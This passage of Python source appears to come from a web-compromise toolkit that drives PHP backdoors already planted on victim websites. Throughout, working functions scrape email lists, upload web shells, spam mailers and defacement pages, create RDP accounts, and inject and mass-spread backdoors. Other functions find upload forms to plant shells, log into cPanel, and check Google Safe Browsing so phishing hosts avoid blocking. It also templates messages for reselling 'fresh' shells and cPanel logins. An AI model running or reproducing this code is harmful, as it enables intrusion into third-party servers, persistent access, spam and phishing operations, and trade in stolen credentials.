Failed.'.format(fr)); return + if(gt_mail == ''): time.sleep(90) + post_e = {'action': 'email'} + gt_mail = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_e, headers2) + if ("" in gt_mail): + domain_serv = re.findall(re.compile('(.*)'), gt_mail)[0] + emails_p = shellPath_Fox(backdoor, 'Emails.txt', 1) + gt_mail = requestG_Fox(emails_p, 1, headers1, 505) + if('@' not in gt_mail): print (' {}[-] There is no Email.'.format(fr)); return + post_d = {'action': 'delete'} + requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_d, headers2) + patheListEmails = r'Results/Emails_lists' + if (not os.path.exists(patheListEmails)): os.makedirs(patheListEmails) + mails_counter = mail_filter(gt_mail) + if(int(mails_counter) == 0): print (' {}[-] There is no Email.'.format(fr)); return + open('Results/Emails_lists/{}_Single.txt'.format(domain_serv), 'w').write(gt_mail) + open('Results/Emails_lists/0.0.0.0.All_Mails.txt', 'a').write('{}\n'.format(gt_mail)) + print (' {}[+] Number of Emails: {}{}'.format(fg, fr, mails_counter)) + print (' {}[+] Saved in {}Results/Emails_lists/{}_Single.txt'.format(fg, fr, domain_serv)) + else: print (' {}[-] There is no Emails.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def mail_mass(backdoor, configsURL): + try: + sys.stdout.write(' {}[*] Trying get Mails '.format(fw)); waiting() + post_m = {'action': 'mails', 'url': configsURL} + try: gt_mail = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), data=post_m, headers=headers2, verify=False, timeout=1005)) + except: gt_mail = '' + if(gt_mail == ''): time.sleep(180) + post_e = {'action': 'email'} + gt_mail = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_e, headers2) + if ("" in gt_mail): + domain_serv = re.findall(re.compile('(.*)'), gt_mail)[0] + emails_p = shellPath_Fox(backdoor, 'Emails.txt', 1) + gt_mail = requestG_Fox(emails_p, 1, headers1, 505) + if('@' not in gt_mail): print (' {}[-] There is no Email.'.format(fr)); return + post_d = {'action': 'delete'} + requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_d, headers2) + patheListEmails = r'Results/Emails_lists' + if (not os.path.exists(patheListEmails)): os.makedirs(patheListEmails) + mails_counter = mail_filter(gt_mail) + if(int(mails_counter) == 0): print (' {}[-] There is no Email.'.format(fr)); return + open('Results/Emails_lists/{}_Configs.txt'.format(domain_serv), 'w').write(gt_mail) + open('Results/Emails_lists/0.0.0.0.All_Mails.txt', 'a').write('{}\n'.format(gt_mail)) + print (' {}[+] Number of Emails: {}{}'.format(fg, fr, mails_counter)) + print (' {}[+] Saved in {}Results/Emails_lists/{}_Configs.txt'.format(fg, fr, domain_serv)) + else : print (' {}[-] There is no Email.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def mail_filter(mails): + mails_counter = 0 + try: + mails = mails.split('\n') + patheListEmails = r'Results/Emails_lists/Filtered_emails' + if (not os.path.exists(patheListEmails)): os.makedirs(patheListEmails) + ltds = ['mail.ru', '@icloud.', '@me.', '@outlook.', '@live.', '@hotmail.', '@msn.', '@web.', '@orange.', '@free.fr', '@wanadoo.fr', '@optonline.net', '@aol.', '@gmail.', '@comcast.', '@ntlworld.', '@charter.', '@yahoo.', '@sfr.', '@cox.', '@verizon.', '@att.', '@googlemail.', '@gmx.', '@ymail.'] + for mail in mails: + mail = str(mail.strip()) + if ('@' in mail): mails_counter = mails_counter + 1 + sus = 0 + for ltd in ltds: + if(str(ltd) in str(mail.lower())): + ltd2 = ltd + if(ltd2[-1] == '.'): ltd2 = ltd2.replace('.', '') + open('Results/Emails_lists/Filtered_emails/{}.txt'.format(ltd2), 'a').write('{}\n'.format(mail)) + sus = 1 + break + if (sus == 0): open('Results/Emails_lists/Filtered_emails/Other.txt', 'a').write('{}\n'.format(mail)) + return mails_counter + except: + return mails_counter + +def mailer_UPloader(backdoor, leafMailer): + try: + global success1 + sys.stdout.write(' {}[*] Uploading {}Leaf{} PHP Mailer '.format(fw, fg, fw)); waiting() + mailer_pass = random_Fox(9) + leafMailer = file_get_contents_Fox(leafMailer) + mailer_text = leafMailer.replace('FoxCyberSecurity', mailer_pass) + mailer_name = '{}.php'.format(random_Fox(8)) + mailer_path = shellPath_Fox(backdoor, mailer_name, 1) + filedata = {'action': 'upload'} + fileup = {'file': (mailer_name, mailer_text)} + try: upMailer = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), data=filedata, files=fileup, headers=headers2, verify=False, timeout=45)) + except: upMailer = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), data=filedata, files=fileup, headers=headers2, verify=False, timeout=60)) + if ('' in upMailer): + print (' {}[+] Succeeded.\n - {}{}?pass={}'.format(fg, fr, mailer_path, mailer_pass)) + open('Results/Leaf_PHP_Mailers.txt', 'a').write('{}?pass={}\n'.format(mailer_path, mailer_pass)); success1 = 1 + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print(' {}[-] Upload Failed.'.format(fr)) + +def file_UPloader(backdoor, srcShell, tyShell, q, mothd = 1): + try: + if(mothd == 2): getFile('fox.jpg', '49631467080528197') + if (tyShell > 3): sys.stdout.write(' {}[*] Uploading File '.format(fw)); waiting() + if (q == 1): filename = '{}.php'.format(random_Fox(8)) + else: filename = srcShell + if (mothd == 2): filename_jpg = '{}.jpg'.format(random_Fox(3)) + if ('/' in filename): filename = filename.split('/')[-1] + if ('\\' in filename): filename = filename.split('\\')[-1] + if (tyShell == 2 or tyShell == 5): + mailer_pass = random_Fox(9) + srcShell = file_get_contents_Fox(srcShell) + srcShell = srcShell.replace('FoxCyberSecurity', mailer_pass) + else : srcShell = open(srcShell, 'rb') + if (tyShell == 2 or tyShell == 5): file_path = '{}?pass={}'.format(shellPath_Fox(backdoor, filename, 1), mailer_pass) + else : file_path = shellPath_Fox(backdoor, filename, 1) + filedata = {'action': 'upload'} + if (mothd == 2): fileup = {'file': (filename_jpg, '{}\n{}'.format(file_get_contents_Fox2('Files/fox.jpg'), srcShell))} + else: fileup = {'file': (filename, srcShell)} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=60)) + if ('' in upFile): + if (mothd == 2): + post = {'fname': filename_jpg, 'sname': filename} + try: rnme = requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post, headers=headers2, verify=False, timeout=45) + except: rnme = requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=post, headers=headers2, verify=False, timeout=60) + print (' {}[+] Succeeded Upload.\n - {}{}'.format(fg, fr, file_path)) + if (tyShell == 2 or tyShell == 5): + print (' {}[+] Saved in {}Results/Leaf_PHP_Mailers.txt'.format(fg, fr)) + open('Results/Leaf_PHP_Mailers.txt', 'a').write('{}\n'.format(file_path)) + else: + print (' {}[+] Saved in {}Results/Shells.txt'.format(fg, fr)) + open('Results/Shells.txt', 'a').write('{}\n'.format(file_path)) + elif (mothd == 1): return file_UPloader(backdoor, srcShell, tyShell, q, 2) + else: + print (' {}[-] Upload Failed.'.format(fr)) + except : + print (' {}[-] Upload Failed.'.format(fr)) + +def file_Main_UPloader(backdoor, file, tyShell, q): + try: + if (tyShell > 3): sys.stdout.write(' {}[*] Uploading File '.format(fw)); waiting() + if (q == 1): filename = '{}.php'.format(random_Fox(8)) + else: filename = file + if ('/' in filename): filename = filename.split('/')[-1] + if ('\\' in filename): filename = filename.split('\\')[-1] + if (tyShell == 2 or tyShell == 5): + mailer_pass = random_Fox(9) + file = file_get_contents_Fox(file) + file = file.replace('FoxCyberSecurity', mailer_pass) + else: file = open(file, 'rb') + if (tyShell == 2 or tyShell == 5): file_path = '{}?pass={}'.format(shellPath_Fox(backdoor, filename, 2), mailer_pass) + else: file_path = shellPath_Fox(backdoor, filename, 2) + filedata = {'action': 'up'} + fileup = {'file': (filename, file)} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=60)) + if ('' in upFile): + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, file_path)) + if (tyShell == 2 or tyShell == 5): + print (' {}[+] Saved in {}Results/Leaf_PHP_Mailers.txt'.format(fg, fr)) + open('Results/Leaf_PHP_Mailers.txt', 'a').write('{}\n'.format(file_path)) + else: + print(' {}[+] Saved in {}Results/Shells.txt'.format(fg, fr)) + open('Results/Shells.txt', 'a').write('{}\n'.format(file_path)) + else: print (' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Upload Failed.'.format(fr)) + +def index_UPloader_1(backdoor, index_path, z, attacker) : + try: + global success1 + sys.stdout.write(' {}[*] Uploading Index '.format(fw)); waiting() + index_name = index_path + if ('/' in index_name): index_name = index_name.split('/')[-1] + if ('\\' in index_name): index_name = index_name.split('\\')[-1] + filedata = {'action': 'up'} + fileup = {'file': (index_name, file_get_contents_Fox(index_path))} + index_path = shellPath_Fox(backdoor, index_name, 2) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=60)) + if ('' in upFile): + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, index_path)) + open('Results/indexS.txt', 'a').write('{}\n'.format(index_path)); success1 = 1 + if (z == 1): zone_h(index_path, attacker) + else: print (' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Upload Failed.'.format(fr)) + +def index_UPloader_2(backdoor, index_path, z, attacker) : + try: + global success1 + sys.stdout.write(' {}[*] Uploading Index '.format(fw)); waiting() + post_i = {'action': 'index', 'index': file_get_contents_Fox(index_path)} + id_ed = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_i, headers2, 45) + if('./Done' in id_ed): + print(' {}[+] Succeeded.\n - {}{}'.format(fg, fr, URL_FOX(backdoor))) + open('Results/indexS.txt', 'a').write('{}\n'.format(URL_FOX(backdoor))); success1 = 1 + if (z == 1): zone_h(URL_FOX(backdoor), attacker) + else: print (' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Upload Failed.'.format(fr)) + +def UNZIP(backdoor, zipFile): + try: + global success1 + sys.stdout.write(' {}[*] Uploading/Uncompress ZIP File '.format(fw)); waiting() + filedata = {'action': 'zip'} + zip_name = zipFile + if ('/' in zip_name): zip_name = zip_name.split('/')[-1] + if ('\\' in zip_name): zip_name = zip_name.split('\\')[-1] + fileup = {'file': (zip_name, open(zipFile, 'rb'), 'multipart/form-data')} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=500)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=filedata, headers=headers2, verify=False, timeout=1000)) + if (re.findall(re.compile('(.*)'), upFile)): + print (' {}[+] Succeeded UPload.'.format(fg)) + folder = re.findall(re.compile('(.*)'), upFile)[0] + post_z = {'action': 'zip', 'zips': zip_name, 'zipFolder': folder} + Uncompress = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_z, headers2, 30) + if('' in Uncompress): + zip_Path = '{}/'.format(shellPath_Fox(backdoor, folder, 1)) + print (' {}[+] Succeeded UNZIP.\n - {}{}'.format(fg, fr, zip_Path)) + open('Results/Pages.txt', 'a').write('{}\n'.format(zip_Path)); success1 = 1 + print(' {}[+] Saved in {}Results/Pages.txt'.format(fg, fr)) + else: print(' {}[-] Failed Uncompress ZIP.'.format(fr)) + else: print (' {}[-] Upload Failed.'.format(fr)) + except : + print(' {}[-] Failed.'.format(fr)) + +def sending_Checker(backdoor, shell): + try: + global success1, success2 + sys.stdout.write(' {}[*] Checking Sending Mail '.format(fw)); waiting() + filedata = {'action': 'upload'} + testname = 'tesT{}.php'.format(random_Fox(3)) + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/t1.txt'))} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if ('' not in upFile): print(' {}[-] Failed.'.format(fr)); return + Test_path = shellPath_Fox(backdoor, testname, 1) + email = getEmail() + if (email == 'F'): print (' {}[-] Try Later.'.format(fr)); return + post_t = {'email': email} + send_c = requestP_Fox(Test_path, 1, post_t, headers1) + if ('' in send_c): + id_code = re.findall(re.compile('(.*)'), send_c)[0] + time.sleep(10) + check_s = msg_chekcer_Fox(email, id_code) + start = timer() + while ((check_s == 'F') and ((timer() - start) <= 60)): + time.sleep(10) + check_s = msg_chekcer_Fox(email, id_code) + if(check_s == 'S'): + print (' {}[+] Sending mail is Working Well.'.format(fg)) + open('Results/SendingMail_Work.txt', 'a').write('{}\n'.format(shell)); success1 = 1 + else: + print (' {}[-] Sending mail isn\'t Working.'.format(fr)) + open('Results/SendingMail_NotWork.txt', 'a').write('{}\n'.format(shell)); success2 = 1 + else: print(' {}[-] Failed.'.format(fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def RDP_creator(backdoor, shell) : + try: + global success1 + sys.stdout.write(' {}[*] Creating RDP '.format(fw)); waiting() + post_g = {'action': 'rdp'} + RDP_C = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_g, headers2) + if ('Error-RDP3' in RDP_C): print(' {}[-] {} server.'.format(fr, re.findall(re.compile('(.*)'), RDP_C)[0])) + elif ('Error-RDP1' in RDP_C): print(' {}[-] There are no permissions.'.format(fr)) + elif ('' in RDP_C): + RDP = re.findall(re.compile('(.*)\|(.*)\|(.*)'), RDP_C)[0] + print (' {}[+] Succeeded.\n -{} Login by IP or Domain: {}{} {}|{} {}\n -{} USERNAME: {}{}\n -{} PASSWORD: {}{}'.format(fg, fr, fg, RDP[0], fr, fg, domain_Fox(backdoor), fr, fg, RDP[1], fr, fg, RDP[2])) + open('Results/RDPs.txt', 'a').write('{}\n{}:3389|{}|{}\n--------------------------------------------------------------------------------------------------\n'.format(shell, RDP[0], RDP[1], RDP[2])); success1 = 1 + if ('./DoneAdmin' in RDP_C): print (' {}[+] Administrator.'.format(fg)) + else: print (' {}[-] Failed.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def backdoor_Injection(backdoor): + try: + global success1 + sys.stdout.write(' {}[*] Injecting a backdoor '.format(fw)); waiting() + post_j = {'action': 'injection'} + injection = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), 1, post_j, headers2) + if (re.findall(re.compile('(.*)'), injection)): + bk = re.findall(re.compile('(.*)'), injection)[0] + print (' {}[+] Succeeded.\n - {}{}'.format(fg, fr, bk)) + open('Results/Injected_backdoors.txt', 'a').write('{}\n'.format(bk)); success1 = 1 + else: print (' {}[-] Failed.'.format(fr)) + except: + print (' {}[-] Failed.'.format(fr)) + +def MASS_Backdoor(backdoor, shell_path): + try: + global success2 + sys.stdout.write(' {}[*] MASS backdoor '.format(fw)); waiting() + post_m = {'action': 'mass'} + shell_name = shell_path + if('/' in shell_name): shell_name = shell_name.split('/')[-1] + elif('\\' in shell_name): shell_name = shell_name.split('\\')[-1] + fileup = {'file': (shell_name, open(shell_path, 'rb'), 'multipart/form-data')} + try: injection = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=post_m, headers=headers2, verify=False, timeout=500)) + except: injection = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/a'.format(dom, to, version))), files=fileup, data=post_m, headers=headers2, verify=False, timeout=1000)) + if (re.findall(re.compile('(.*)'), injection)): backdoors = re.findall(re.compile('(.*)'), injection) + else: print (' {}[-] Failed.'.format(fr)); return + newpath = r'Results/backdoors' + if (not os.path.exists(newpath)): os.makedirs(newpath) + domain = domain_Fox(backdoor) + for bk in backdoors: + open('Results/backdoors/{}.txt'.format(domain), 'a').write('{}\n'.format(bk)) + open('Results/backdoors/0.0-ALL-backdoors.txt', 'a').write('{}\n'.format(bk)) + success2 = 1 + print (' {}[+] Succeeded.'.format(fg)) + print (' {}[+] Saved in {}Results/backdoors/{}.txt'.format(fg, fr, domain)) + except : + print (' {}[-] Failed.'.format(fr)) + +def getLinks(backdoor, configsURL, source): + try: + links = '' + if(not re.findall(re.compile('Login: (.*) Username: (.*) Password: (.*)'), ac_pls)): print(' {}[-] There is no Panels.'.format(fr)); return False + panels = re.findall(re.compile('Login: (.*) Username: (.*) Password: (.*)'), ac_pls) + logins = []; wp = 0; jm = 0; oc = 0 + for panel in panels: + try: + panelURL = '{}#{}@{}'.format(panel[0], panel[1], panel[2]) + if ('wp-login.php' in panelURL): + print(' {} - {}{} {}[WordPress]'.format(fg, fw, panelURL, fg)) + open('Results/WordPress_Panels.txt', 'a').write(panelURL + '\n') + wp = 1 + elif ('administrator/index.php' in panelURL): + print(' {} - {}{} {}[Joomla]'.format(fg, fw, panelURL, fr)) + open('Results/Joomla_Panels.txt', 'a').write(panelURL + '\n') + jm = 1 + elif ('admin/index.php' in panelURL): + print(' {} - {}{} {}[OpenCart]'.format(fg, fw, panelURL, fc)) + open('Results/OpenCart_Panels.txt', 'a').write(panelURL + '\n') + oc = 1 + logins.append(panelURL) + except: + pass + if (logins): print(''); return logins, wp, jm, oc + print(' {}[-] There is no Panels.'.format(fr)); return False + except: + print(' {}[-] Failed.'.format(fr)); return False + +def panels(backdoor, configsURL, source, typeAc): + try: + sys.stdout.write(' {}[*] Access to control Panels '.format(fw)); waiting() + links = getLinks(backdoor, configsURL, source) + if(links is False): return False + return panel_accesser(backdoor, links, typeAc) + except: + pass + +def shellPathFinder(argument1,argument2): + shell='{}.php'.format(random_Fox((8))) + ssl._create_default_https_context = ssl._create_unverified_context + mechanize._sockettimeout._GLOBAL_DEFAULT_TIMEOUT = 60 + try : + mbrowser=mechanize.Browser() + mbrowser.set_handle_equiv((()==())) + mbrowser.set_handle_redirect((()==())) + mbrowser.set_handle_referer((()==())) + mbrowser.set_handle_robots((()==[])) + mbrowser.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36')] + mbrowser.open(argument1, timeout = 60) + if 'post' in argument2: + try: + mbrowser.select_form( method = "post", enctype = 'multipart/form-data') + except: + mbrowser.select_form( method = 'POST', enctype = 'multipart/form-data') + elif 'POST' in argument2: + mbrowser.select_form( method = 'POST', enctype = 'multipart/form-data') + elif 'Post' in argument2: + mbrowser.select_form( method = 'Post', enctype = 'multipart/form-data') + else : + return 'F' + if sys.version_info[0]< 3: + with open(shell,'ab') as fo: + fo.write( shell_Fox ) + else : + with open(shell,'a') as fo: + fo.write( shell_Fox ) + fo.close() + if sys.version_info[0]<3: + fo=open(shell,'rb') + else : + fo=open(shell,'r') + mbrowser.form.add_file(fo,'text/plain',shell) + mbrowser.submit() + fo.close() + os.remove(shell) + shellpath=shellPath_Fox(argument1,shell,1) + response=requestG_Fox(shellpath,1, headers1) + if ('KEY:' in response): + return shellpath + return 'F' + except : + try : + fo.close() + except : + pass + try : + os.remove(shell) + except : + pass + return "F" + +def FileFinder2(argument): + try : + filelist=['uploadfiles\\[\\]', 'uploadfiles', 'uploadfile\\[\\]', 'uploadfile', 'idx_files\\[\\]', 'idx_files', 'idx_file\\[\\]', 'idx_file', 'userfiles\\[\\]', 'userfiles', 'userfile\\[\\]', 'userfile', 'newfiles\\[\\]', 'newfiles', 'newfile\\[\\]', 'newfile', 'inputfiles\\[\\]', 'inputfiles', 'inputfile\\[\\]', 'inputfile', 'filenames\\[\\]', 'filenames', 'filename\\[\\]', 'filename', 'file_n\\[\\]', 'file_n', 'files\\[\\]', 'files', 'images\\[\\]', 'images', 'image\\[\\]', 'image', 'uploader\\[\\]', 'uploader', 'uploads\\[\\]', 'uploads', 'upload\\[\\]', 'upload', 'file\\[\\]', 'file', 'fu\\[\\]', 'fu', 'f\\[\\]', 'f', 'n\\[\\]', 'n'] + for item in filelist: + try : + splitted_string=argument.split('>') + for item2 in splitted_string: + if(re.findall(re.compile(regex.format(item)),item2) and re.findall(re.compile(str('type.*=.*file')),item2) and 'profile.php' not in item2): + regexlist=re.findall(re.compile(regex.format(item)),item2) + for item3 in regexlist: + item3=item3.split(item)[0] + if item3.count(str("=")) == 1: + if('\\' in item): item = item.replace('\\', '') + return str(item) + except : + pass + return False + except : + return False + +def file_SemiUPer(url, source): + try: + filename = '{}.php'.format(random_Fox(8)) + req = requests.session() + url = str(url) + if ('#' in url): + password = re.findall(re.compile('#(.*)'), url)[0] + post = {'pass': password, 'password': password, 'pwd': password, 'passwd': password, 'f_pp': password} + login = req.post(url, data=post, headers=headers1, verify=False, timeout=15) + source = content_Fox(req.get(url, headers=headers1, verify=False, timeout=15)) + elif ('@' in url): + password = re.findall(re.compile('@(.*)'), url)[0] + post = {'pass': password, 'password': password, 'pwd': password, 'passwd': password, 'f_pp': password} + login = req.post(url, data=post, headers=headers1, verify=False, timeout=15) + source = content_Fox(req.get(url, headers=headers1, verify=False, timeout=15)) + elif (';' in url): + password = re.findall(re.compile(';(.*)'), url)[0] + post = {'pass': password, 'password': password, 'pwd': password, 'passwd': password, 'f_pp': password} + login = req.post(url, data=post, headers=headers1, verify=False, timeout=15) + source = content_Fox(req.get(url, headers=headers1, verify=False, timeout=15)) + if('BUbwxgj' in source): + filedata = {'a': 'BUbwxgj', 'p1': 'uploadFile', 'ne': '', 'charset': 'UTF-8', 'c': ''} + fileup = {'f[]': (filename, shell_Fox)} + elif ('
Password

OK' in p_zone): print(' {}[+] Succeed.'.format(fg)) + elif ('Domain has been defaced during last year' in p_zone): print(' {}[-] Domain has been defaced during last year.'.format(fr)) + elif ('banned' in p_zone): print(' {}[-] your IP is banned.'.format(fr)) + else: print(' {}[-] Failed.'.format(fr)) + except: + print(' {}[-] Failed.'.format(fr)) + +def solving_SH_Reports_S(backdoor, shell, email, test): + try: + global success2 + if('http://' in backdoor): backdoor = backdoor.replace('http://', 'https://') + if('http://' in shell): shell = shell.replace('http://', 'https://') + domain = domain_Fox(backdoor) + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in alert_Fox[1]): print(' {}[-] Phishing.'.format(fr)); return + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + Test_path = shellPath_Fox(backdoor, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + post_e = {'email': email} + IDsend = requestP_Fox(Test_path, 1, post_e, headers1) + if (re.findall(re.compile('(.*)'), IDsend)): + ID_s = re.findall(re.compile('(.*)'), IDsend)[0] + print( ' {}[+] Check your Email, ID: {}{}'.format(fg, fr, ID_s)) + open('Results/Form_reports_of_Shells.txt', 'a').write('Sir, I will give you a fresh Shell as a [Replacement] with full proofs.\n\nFresh Shell => {}\n\nProof for not phishing and open fine => \nProof for send results => \nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(shell, Test_path, UNZIPper_path)); success2 = 1 + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Shell isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + +def solving_cP_Reports_S(ip, user, password, idcp, cookies, domain, home, email, test) : + try: + global success2 + safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1) + if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return + alert_Fox = safebrowsing.split(',') + if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return + req_Fox = requests.session() + postlogin_Fox = {'user': user, 'pass': password, 'login_submit': 'Log in'} + try: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=10)) + except: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=15)) + if ('security_token' not in login2_Fox): print(' {}[-] Domain isn\'t Working.'.format(fr)); return + print (' {}[+] Domain is Working.'.format(fg)) + filename = '{}.php'.format(random_Fox(8)) + testname = 'test-{}.php'.format(random_Fox(3)) + ziprname = 'unZIPpeR{}.php'.format(random_Fox(3)) + filedata_Fox = {'dir': '{}{}/public_html'.format(home, user), 'get_disk_info': '1', 'overwrite': '0'} + fileup_Fox = {'file-0': (filename, shell_Fox)} + try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45) + except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60) + backdoor_path = 'https://{}/{}'.format(domain, filename) + time.sleep(5) + try: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=10)) + except: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=15)) + if ('KEY:' not in check_b and 'MD5:' not in check_b): print(' {}[-] Upload Failed.'.format(fr)); return + Test_path = shellPath_Fox(backdoor_path, testname, 1) + UNZIPper_path = shellPath_Fox(backdoor_path, ziprname, 1) + filedata = {'action': 'upload'} + fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))} + fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))} + backdoor_path = check(backdoor_path) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60)) + if('' in upFile): + print (' {}[+] Upload is Working.'.format(fg)) + try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45)) + except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60)) + post_e = {'email': email} + IDsend = requestP_Fox(Test_path, 1, post_e, headers1) + if (re.findall(re.compile('(.*)'), IDsend)): + ID_s = re.findall(re.compile('(.*)'), IDsend)[0] + print( ' {}[+] Check your Email, ID: {}{}'.format(fg, fr, ID_s)) + open('Results/Form_reports_of_cPanels.txt', 'a').write('Sir, I will give you a fresh cPanel as a [Replacement] with full proofs.\n\nFresh cPanel: https://{}:2083\nUSERNAME: {}\nPASSWORD: {}\n\nProof for not phishing and open fine => \nProof for send results => \nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(domain, user, password, Test_path, UNZIPper_path)); success2 = 1 + else: print(' {}[-] Upload Failed.'.format(fr)) + except: + print (' {}[-] Domain isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr)) + +def solving_SH_Reports_A(backdoor, shell, test): + try: + global success1 + delete_files('screenshots', 'png') + from selenium import webdriver + from imgurpython import ImgurClient + newpath = r'screenshots' + if (not os.path.exists(newpath)): os.makedirs(newpath) + if('http://' in backdoor): backdoor = 